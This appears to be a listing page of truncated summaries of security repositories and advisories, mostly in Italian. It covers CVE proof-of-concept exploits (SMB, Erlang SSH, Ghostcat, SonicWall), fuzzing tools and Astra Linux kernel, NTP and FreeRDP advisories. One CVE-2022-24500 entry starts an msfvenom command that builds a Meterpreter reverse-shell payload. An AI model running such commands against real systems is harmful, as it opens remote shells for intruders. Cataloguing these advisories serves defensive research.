CVE-2023-21971_Analysis

CVE-2023-21971 Connector/J RCE Analysis Analisi Riferimenti Remote Code Execution RCE in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access Analisi della deserializzazione di MYSQL JDBC - 跳跳糖 tttang.com Panoramica della...

CVE-2022-24500

Exploit RCE CVE-2022-24500 Vulnerabilità di esecuzione remota di codice in SMB di Windows Vulnerabilità: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 Passo 1 msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw...

echteeteepee

Strumenti di test per vulnerabilità Desync HTTP/1 Questo repository contiene strumenti di sicurezza difensiva per rilevare vulnerabilità di request smuggling desync HTTP/1 basati sulla ricerca innovativa di James Kettle di PortSwigger. Attribuzione della Ricerca Questo lavoro è direttamente...

rapid7-CVE-2026-15409

CVE-2026-15409 Questa repository contiene una proof-of-concept per CVE-2026-15409. Stabilisce l'esecuzione remota di codice senza privilegi di root su SonicWall SMA 1000 implementando il protocollo Erlang atteso da localhost:1050 e instradandolo tramite websocket per la lettura/scrittura di file ...

dtls-fuzzer

dtls-fuzzer ist ein Java-Tool, das Protokollzustands-Fuzzing von DTLS-Servern durchführt. Konkret unterstützt es die folgenden Funktionen: 1. Gegeben ein Alphabet kann es automatisch ein Modell einer lokalen DTLS-Serverimplementierung generieren; 2. Gegeben einen Test Eingabensequenz und ein...

powerg-tools

Strumenti di analisi PowerG Una raccolta di strumenti per il reverse engineering e l'interazione con il protocollo radio PowerG. Questa release accompagna la ricerca che James Chambers e Sultan Qasim Khan hanno presentato a REcon e hardwear.io. Consulta la registrazione della presentazione e le...

Denial-of-service (DoS)

org.apache.qpid, qpid-broker-plugins-amqp-1-0-protocol is vulnerable to a Denial-of-service DoS. The vulnerability is due to type nesting that can trigger a StackOverflowError, which allows a pre-authentication attacker to send specially crafted nested data and potentially crash the broker...

CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC

CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC La vulnerabilità consente a un aggressore con accesso di rete a un server SSH Erlang/OTP di eseguire codice arbitrario senza previa autenticazione. Descrizione È stata identificata una grave vulnerabilità nel server SSH Erlang/OTP che potrebbe consentire a un...

CVE-2022-21907

CVE-2022-21907 Descrizione POC per CVE-2022-21907: Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP. creato da Malwareman il 2022-09-17. Dettagli Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP. Simile a...

cve-2020-0796

Identificare e mitigare la falla CVE-2020–0796 al volo CVE-2020–0796 è una vulnerabilità di esecuzione remota di codice pre-autenticazione che risiede nel protocollo di comunicazione di rete Server Message Block 3.0 SMBv3, che Microsoft non affronterà come parte del martedì di marzo 2020. Utilizz...

WebSphere-WSIF-gadget

WSIF Gadget per WebSphere CVE-2020-4464 / CVE-2020-4450 Questo si basa sugli eccellenti post del blog di ZDI report originale di @tint0: https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere...

Ghostcat-CNVD-2020-10487

Ghostcat Exploit per CNVD-2020-10487 CVE-2020-1938 Lettura ed esecuzione di file su Tomcat causate da impostazioni arbitrarie di attributi nel protocollo AJP. Analisi della vulnerabilità Il codice è solo per test di sicurezza, non utilizzarlo per scopi illegali. Le conseguenze sono responsabilità...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.10, and Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: SCTP: Initialization of additional fields in sctpv6fromsk was incorrect, leading to undefined behavior. SYZbot discovered that sin6scopeid was not properly initialized, causing undefined behavior. sin6scopeid and sin6flowinfo...

Astra Linux – Vulnerability in NTP

In the mstolfp.c file within NTP 4.2.8p15, there is a buffer overflow vulnerability when adding a decimal point. An adversary may be able to attack a client’s ntpq process, but they cannot attack the ntpd process...

Astra Linux – Vulnerability in freerdp3, freerdp2

FreeRDP is a free implementation of the Remote Desktop Protocol. The ainputsendinputevent function caches the channelcallback in a local variable and then uses it without synchronization. A concurrent closure of a channel can free or reinitialize the callback, resulting in an use-after-free...

Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: Slip: Make slhcremember more robust against malicious packets. syzbot found that slhcremember lacked checks against malicious packets 1. slhcremember only checks that the packet’s size is at least 20 bytes, which is...

Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: SCTP: Set skstate back to CLOSED if autobind fails in sctplistenstart. In sctplistenstart called by sctpinetlisten, it should set skstate back to CLOSED if sctpautobind fails for any reason. Otherwise, the next time...

Astra Linux – Vulnerability in NTP

In the file libntp/mstolfp.c, within the NTP 4.2.8p15 version, there is a buffer overflow vulnerability when copying the trailing number. An attacker may be able to exploit this vulnerability against a client’s ntpq process, but they cannot exploit it against ntpd...

Astra Linux – Vulnerabilities in Linux, Linux-5.10, Linux-5.15, Linux-6.1

In the Linux kernel, the following vulnerabilities have been resolved: tipc: Check the bearer type before calling tipcudpnlbeareradd syzbot reported the following general protection fault 1: General protection fault, likely for non-canonical address 0xdffffc0000000010: 0000 1 PREEMPT SMP KASAN...

Astra Linux – Vulnerability in freerdp3

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.21.0, xfPointerNew would free cursorPixels if there was a failure. After that, pointerfree would call xfPointerFree to free it again, which could trigger an ASan UAF. A malicious server could exploit this...